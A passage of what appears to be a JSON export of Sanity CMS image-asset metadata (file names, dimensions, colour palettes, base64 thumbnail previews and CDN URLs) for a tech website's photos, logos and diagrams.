","foreground":"#fff","population":4.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9ac9a","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b698e2","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f7a61","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#487cbc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"DevRelCon-Prague2022-BenGreenberg.jpg","path":"images/sczeoy4w/production/d6dcbcc86890b9ef9e8c851d2ece696439cf1923-2000x1500.jpg","sha1hash":"d6dcbcc86890b9ef9e8c851d2ece696439cf1923","size":159583,"title":null,"uploadId":"5Mjs8aV2SdnoYdylk3J0VJSs6nlTzaZ3","url":"https://cdn.sanity.io/images/sczeoy4w/production/d6dcbcc86890b9ef9e8c851d2ece696439cf1923-2000x1500.jpg"} {"_createdAt":"2023-10-10T13:40:02Z","_id":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_rev":"JRA11shwVXtO8tyMXerDCr","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T13:40:02Z","assetId":"d7035dfe24577b778b4b5928f6deb6d81cc0e72d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM_Q.tfl=Kdr}Yi{f+jZe.dCf,f%e.g$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTUlEQVQokbXSz2+LARgH8Kfr0la87SSYuDlp4kclW0+Ek7swNkwX7XTWbe3W2bzVqAQRBzNubv7VD6Wy98BBwuG5fp5v8v2G28GdYCG4FywFD4JHwUrwOFgN2sHTYCPYCnpBP3gW7AfPf178FnyYAZt/ALcn4G6wNwHTMTjGft3dYHGScDloTBK2MmAn2Ay6E3BQYniMdCqbMMf9Eo2ERomVAs0irQKreZ7kWMvRydMtsFOkP83wBJ/m+TzHKMmAiwW6VUbX2bvI7nkGl0ir9E7TOc5Wwv4sby7wvsa7Kh/n+HqLLzd4Vc6AS+OPl3l7kxfzpDVGdV5eoX+WjYTeDMNzfLjK4TUO6hzWOajxepZBPgMuTLGc0DpJs0KrTLvCWkK7SDvP+jTbZdIzDE6RzjCokBaPWv7rUtbHLeeOZrPzP2aTBX8k/JfD/g5+A9F956Xhx+96AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0a594","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8c84","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86d51","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"alterra_bills_social_media_1200x628.png","path":"images/sczeoy4w/production/d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724.png","sha1hash":"d7035dfe24577b778b4b5928f6deb6d81cc0e72d","size":70933,"uploadId":"vnldUwFuQFyvGDq7b0fhmcnG7MBcVaQ3","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724.png"} {"_createdAt":"2022-10-25T14:01:23Z","_id":"image-d732b277f38609e843aea5d25fdae1d08590d091-901x134-png","_rev":"VpqI6rTG30oq7pRBY4Qo8u","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:01:23Z","assetId":"d732b277f38609e843aea5d25fdae1d08590d091","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"41S?DWu6Oa~q-=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.723880597014926,"height":134,"width":901},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAaElEQVQImV2MQQ7CQAzE+v/XAt3NTDKTFEHFBR8t2cdrg5mys7yRz41g+kd3zxe7/8zMHI8VO1iSuyUHEEBmkiQoaWa6TXKtBeDu78WxWJtV8sxcM5KqStKnBSR1ty0C53lGhCTbt38D6N2v8wzUmcgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a4559","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#868787","foreground":"#fff","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcd4d4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6ccdc","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#868787","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5286ac","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d732b277f38609e843aea5d25fdae1d08590d091-901x134.png","path":"images/sczeoy4w/production/d732b277f38609e843aea5d25fdae1d08590d091-901x134.png","sha1hash":"d732b277f38609e843aea5d25fdae1d08590d091","size":6070,"uploadId":"WHnB6Vo7xs9x6TshL4ZcM6kUO6GhYrmi","url":"https://cdn.sanity.io/images/sczeoy4w/production/d732b277f38609e843aea5d25fdae1d08590d091-901x134.png"} {"_createdAt":"2023-11-20T09:38:55Z","_id":"image-d76b951d7da9459b481d8c5004e5a6147cffab83-1398x906-png","_rev":"00HkATqwml6aoQnrNzFkuP","_type":"sanity.imageAsset","_updatedAt":"2023-11-20T09:38:55Z","assetId":"d76b951d7da9459b481d8c5004e5a6147cffab83","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5430463576158941,"height":906,"width":1398},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACWElEQVQokR2R21LbMABE/f9f05Y2BAL0yjSDHWJH1l3WXbJkywQ6pcBbJ8zs69nZOVudnZ/9vrttu2bf1vuu6Q67tmu2zXZ73whJfTJmVNoLY6mxVIeBOy4UmSZ3PKbq4uaSUBCi8lGGqMZkYlTWD9bLMRk3auo4MgQrhBWGlm5B/e3XzTCgZYnV+nrDBJqLL0tYHuLxOC5LKCWUJczF+6SpY9BSqDA0BFi6PdQ/f38XAuZsTjDhcJp9KWGeXc4mJTNNrhRfio/JDI4TS7GhxDLkGJCYKZazLSVUm6+XhPUp22lyxjDGgDbMOm4sC1FayyHpAAdQYazxab9lPrvHp/znaao21xeUgZxNzkYI2MN7beggEcJ7qckwoLar93gPBID80EuIDImTfX4uL/8eqtXFClOQshmTlhKLAcYovRdKE+cHpUiP2gMDBwEA64AAvUR+VM9/y9vrsfqw+tTCvXZcWTZIrC1LSU+zm4vPk9VOEIWhJkDjXkIsodB4suTF8dfZVR9XH2tQE4WJQlTjwbEwqmk+CUvZ6DgQz6Fj0J9scYWsaB/w9nX/442D6uzi813fQHOqR5byIEI2p+feYTNKEji0FFmKPccaiaGdVfei+7dRVV+u1nf9rje4NwRayoKIk33/PEyzNUkRz5HGSCPkWO8Z8Swm/fgwPv8p1fWv7x09MMeZP0WNMs1umsOYnXEciX5H2gbu6r6p8f5+6JGlQlMpSYyq6vHBjWpewryEXHw5xuNjSlNkStzttpuvm9XVenW1/nJ1vr65vK1ve3rApAWgYQz8B03PnViev9Z2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#575c5d","foreground":"#fff","population":1.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1d17","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9d4cb","foreground":"#000","population":8.75,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9d4cb","foreground":"#000","population":8.75,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4e4f9","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b68865","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da594f","foreground":"#fff","population":0.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-booth-aws-map.png","path":"images/sczeoy4w/production/d76b951d7da9459b481d8c5004e5a6147cffab83-1398x906.png","sha1hash":"d76b951d7da9459b481d8c5004e5a6147cffab83","size":150952,"uploadId":"mi3kqv1aGsGIWUyh981yh4ahQnvUp42y","url":"https://cdn.sanity.io/images/sczeoy4w/production/d76b951d7da9459b481d8c5004e5a6147cffab83-1398x906.png"} {"_createdAt":"2024-04-03T12:04:38Z","_id":"image-d7b377382fbf0df22f67fe54880fdc98bf5ec339-207x63-png","_rev":"9k1srJVIAf7BJJgtqkirM1","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:04:38Z","assetId":"d7b377382fbf0df22f67fe54880fdc98bf5ec339","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2857142857142856,"height":63,"width":207},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABcSAAAXEgFnn9JSAAAAv0lEQVQYlZXRyysEYBQF8N9GQvLaYmGjTEqTZxiyEDUzG8pE5FGSBUV5NCsL/7euzmK289Xp657uPed0L3zjAh284Bd9vOEKd/jEI27QRTv/EtbwgZ/Me8UpDnCPdzzhGbcD3FdEj4JztHASw8JDCR5GbA/72I7rbrj1cMfBDrYy10pP8RWqjCxjFQ0sYC5YxDwmMIJxTGEW08FMuMmB+t9lM06VpJkElXoFo9U0zKtjVOQz9HCZvV1jA2PDqP0B4csZuUkORJkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-oracle-cloud-black.png","path":"images/sczeoy4w/production/d7b377382fbf0df22f67fe54880fdc98bf5ec339-207x63.png","sha1hash":"d7b377382fbf0df22f67fe54880fdc98bf5ec339","size":3985,"uploadId":"kM5HVKnHRDcw6HyHH1RAB2ZMuO2Tv6wB","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7b377382fbf0df22f67fe54880fdc98bf5ec339-207x63.png"} {"_createdAt":"2022-07-05T14:14:59Z","_id":"image-d7ed9053c48a42b52c509002e6d869b22409bd9d-780x400-jpg","_rev":"oamrAPLmQLQjd9jh7gqgpq","_type":"sanity.imageAsset","_updatedAt":"2022-07-05T14:33:06Z","assetId":"d7ed9053c48a42b52c509002e6d869b22409bd9d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFS$lpxv.7t6%I-;WXayocoe_Mn#IAs;Ir","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.95,"height":400,"width":780},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAQFCP/EAB8QAAICAgEFAAAAAAAAAAAAAAABAgMEIQUREhMxQf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAWEQEBAQAAAAAAAAAAAAAAAAAAASH/2gAMAwEAAhEDEQA/ANO8hdk0uDxqfKvqItvIZsbaoQwZPu3LfpFsBdJgtpdQAB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#547c64","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3da458","foreground":"#fff","population":0.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3da458","foreground":"#fff","population":0.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#074b91","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5ea9f7","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#628a9c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c10","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"d7ed9053c48a42b52c509002e6d869b22409bd9d-780x400.jpg","path":"images/sczeoy4w/production/d7ed9053c48a42b52c509002e6d869b22409bd9d-780x400.jpg","sha1hash":"d7ed9053c48a42b52c509002e6d869b22409bd9d","size":39345,"uploadId":"oS43fqzxEdMnx4IRpphM05xkecnsHE4D","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7ed9053c48a42b52c509002e6d869b22409bd9d-780x400.jpg"} {"_createdAt":"2024-08-07T18:36:33Z","_id":"image-d84f3c7aa1d7b8bc860911c594d02884ef6dcbdb-1536x699-png","_rev":"5y7swPKAcYPWMoG0msjlY6","_type":"sanity.imageAsset","_updatedAt":"2024-08-07T18:36:33Z","assetId":"d84f3c7aa1d7b8bc860911c594d02884ef6dcbdb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M07K.bL#CT008^00jWtR-;-=009sq[^P?w","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1974248927038627,"height":699,"width":1536},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACRUlEQVQokSWR2VLTAABF+w+OOoxs0i2hKVmaNE3SdIG2INABHNRXxwcVBgRBCpY0LWVtKSCLLFL91eNM+YEz594TeNb/kaHoElF5ncHICs8Hv/JiaJn+8Dqh+DaCWkXQPEb1OjF9j7DcYEDweRXxGRD2iGonKM4FonHOkNQm8HL4EyFpBSmxSTC2Rt/IMn3BVYaFDaJj24hKlbC8S0SpEVUbhOU9hmMNBsUGwbEDZKtDMneF4lwS0c4JDIQ/I6rrqKkKMW2TkPSd16MbCPEtHGMXy6gRjlcJyTWk5D5S8hBRP0LUj1GdDuniNbnpO5zSLZp7TSAoLZOwK9h5DyNdRTZ3ENRtJGWbglMjZ/mEYjsEZY+Ee4yWPkG2WyRz5zjFSyZmb5l6+0h+5oHk+G8CgrKKlauSLTWw8z6prI/u1knYPrmJA9z8IaJWQ9DqGNkT9Ewb2W6TcDtYE78olO+YXuwyPvvnCSiq30hlq7gFHytXw87XscebWLl9yuUz3kx3iCcbxJJ7GJkWRua0B4ybLcz8BaW5e2bf/aU494hVuCMQlVcwsz9xC3VSWQ/D9VBSuxi2z4f5C+ZnzhAUj5Ds9T6Mm0codhs9c4ZbumJq4YHy+39MLnRxSvcERkaXUFM/MDNV1NQOkl5BUCsopkehdEx2/AhR83qVpWSTuHmI6rR7du7kVc9wZrFLca77ZDgY/YKoriGbW4yqT5WjSgXF8jEyTRJuE8VuoqUPMPMtUvkOWvq0N1l3z8hM3jBRviczdY+eveE/AltZnH++gwEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424985","foreground":"#fff","population":2.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042571","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3aae4","foreground":"#000","population":7.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7780c4","foreground":"#fff","population":2.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3aae4","foreground":"#000","population":7.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676ea7","foreground":"#fff","population":4.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b83e7d","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event-driven architecture.PNG","path":"images/sczeoy4w/production/d84f3c7aa1d7b8bc860911c594d02884ef6dcbdb-1536x699.png","sha1hash":"d84f3c7aa1d7b8bc860911c594d02884ef6dcbdb","size":152578,"uploadId":"frZT18wDD45cqTUgGMzwluCbu7gtxxC8","url":"https://cdn.sanity.io/images/sczeoy4w/production/d84f3c7aa1d7b8bc860911c594d02884ef6dcbdb-1536x699.png"} {"_createdAt":"2023-06-08T08:02:35Z","_id":"image-d85787785bb01ca6d651b7de127d76b739975ce3-1920x1037-jpg","_rev":"OSa4Of7leLeKOMRysnkTgo","_type":"sanity.imageAsset","_updatedAt":"2023-06-08T08:02:35Z","assetId":"d85787785bb01ca6d651b7de127d76b739975ce3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwADBv/EACIQAAEEAgIBBQAAAAAAAAAAAAIBAwQFABESIQYVMUFh0f/EABYBAQEBAAAAAAAAAAAAAAAAAAQAAf/EABoRAAMBAAMAAAAAAAAAAAAAAAABIRECEjL/2gAMAwEAAhEDEQA/ABKDZT/HLKO4kpReR3lsD76+Fxlk+Vzr6kjjNrXlhuaFx0D3zwCvkQ7sELvkg7+81G9tIE44sOe+1GE+mxLpMsXFQz06L8qwgEYi/W2YOAKBoF60ntlnLev2hiJHMcJdJ2qJ+ZYbE6I6JTD/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48382b","foreground":"#fff","population":6.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d251a","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b1bebf","foreground":"#000","population":6.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1bebf","foreground":"#000","population":6.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4e1ed","foreground":"#000","population":0.5,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5350","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b98150","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"simplilearn-customer-img.jpg","path":"images/sczeoy4w/production/d85787785bb01ca6d651b7de127d76b739975ce3-1920x1037.jpg","sha1hash":"d85787785bb01ca6d651b7de127d76b739975ce3","size":1729669,"uploadId":"JqqYqBfi4UZO91lJEEEPYitOsDmYn32m","url":"https://cdn.sanity.io/images/sczeoy4w/production/d85787785bb01ca6d651b7de127d76b739975ce3-1920x1037.jpg"} {"_createdAt":"2022-10-26T07:08:04Z","_id":"image-d86ae4e49276f52e437adb9dd8766734c9fdc0a0-427x427-jpg","_rev":"ekhq2FUysTeCYyFMjo3TTz","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T07:08:04Z","assetId":"d86ae4e49276f52e437adb9dd8766734c9fdc0a0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMIpVnK00#0}M{7|,CRQ-VRk}snhNukWIobYE%,@xujETJnOS2$%ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":427,"width":427},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAQFAgMG/8QAJRAAAgEEAQMEAwAAAAAAAAAAAQIDAAQFESEGE2ESFDFBByJR/8QAGAEAAwEBAAAAAAAAAAAAAAAAAgMFBAb/xAAgEQABBAIBBQAAAAAAAAAAAAACAAEDEQQhFTFRUpGh/9oADAMBAAIRAxEAPwDX0RdvlsbGi3RhUsJGUHW/FWU3UEmCvLtEg76PzE7H4P2PNcH0U1y3t3x8PdEgEgU/AP2DUvLX2QyOQk96jwLagj0a4LH+eKzkIBJdqhCBzQ0I7ulHupDcXEkzKAXYsQKVfWuGjktonMh2ygnwaU1suDv8R8Lm+Le1A/CsjRdI3Eq6L930gnnQq0zkYumjeQkMzaJXjdKVPLci6LAZmxWpZZpzjLiG3teI+yrftydmlKUJC1pwmVdV/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#384453","foreground":"#fff","population":1.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#702e22","foreground":"#fff","population":3.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f68a7c","foreground":"#000","population":7.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dac7bf","foreground":"#000","population":4.68,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f68a7c","foreground":"#000","population":7.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#925d56","foreground":"#fff","population":6.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d44a32","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dave-beech.jpg","path":"images/sczeoy4w/production/d86ae4e49276f52e437adb9dd8766734c9fdc0a0-427x427.jpg","sha1hash":"d86ae4e49276f52e437adb9dd8766734c9fdc0a0","size":49662,"uploadId":"XfiDIQQjfoYRS2HQAonPlGE4MvqZMpP3","url":"https://cdn.sanity.io/images/sczeoy4w/production/d86ae4e49276f52e437adb9dd8766734c9fdc0a0-427x427.jpg"} {"_createdAt":"2022-09-26T16:07:03Z","_id":"image-d8afc96704b04356131e676474a66d1969a2f41b-1704x130-png","_rev":"8WeirZ6KB9gJqgJfviQ0lr","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:15Z","assetId":"d8afc96704b04356131e676474a66d1969a2f41b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"416Hr?~qTKofv#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":13.107692307692307,"height":130,"width":1704},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAYAAADeko4lAAAACXBIWXMAABYlAAAWJQFJUiTwAAAARElEQVQImSXDQQ6AMAgAQT8DQkoTNRQu9v/PWg9OMsd+N11FZlJVdPe/inVfrOEsU9KEx5RxKiqCiGBmRAzmnEQE7s4H6vIe7GF3AzIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f3634","foreground":"#fff","population":0.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#581a18","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3634","foreground":"#fff","population":0.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbb8ba","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e29996","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#834848","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c83b36","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d8afc96704b04356131e676474a66d1969a2f41b-1704x130.png","path":"images/sczeoy4w/production/d8afc96704b04356131e676474a66d1969a2f41b-1704x130.png","sha1hash":"d8afc96704b04356131e676474a66d1969a2f41b","size":99719,"uploadId":"9WljC8Vt8W6WyUOhbqQmGQHEM6ntYp4o","url":"https://cdn.sanity.io/images/sczeoy4w/production/d8afc96704b04356131e676474a66d1969a2f41b-1704x130.png"} {"_createdAt":"2023-11-07T08:15:03Z","_id":"image-d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343-png","_rev":"gpV4rQ1RP6Oi5x5QrWQ3Dv","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T08:15:03Z","assetId":"d8c2c332fc130185ddcd23a9db19888529982e0a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DSK|_BjtJlwxJl|csUSMSMWp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.498542274052478,"height":343,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+UlEQVQYlU3Qy0oQUBSF4a+sdBqNm+TAIMgLgSiECClNIggapCBq5QUNy1s4ETJp1Jvt9VByYAcNDuzDWv9/NkcxUawUF8VusV0sFM+Kj8WX4qzY6+xDZ6vFQXFUfC9mA+FxsVn8KY6LneJdeNOCw+J38bPv22Gt2Cj2i8vitngbJodwOVyGX+E07IaT8CMchvNwE67C1/Ct+6N7FK6b/Rymh3CroYMGNsJxQzstHpKRje1G9rcf3QtnYb+Fq0P4OrwKz8PLMNf3pbAQFsOLzsf8qRdY7958mGludginwkS4Fx6ER+Fhn3/z/fHh4Ul4HzbD0+7/z07eAVcugoYb00PGAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#302024","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c0606","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e50405","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960203","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7c7d","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#960203","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e50405","foreground":"#fff","population":0.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1200px-Avaya_Logo.svg 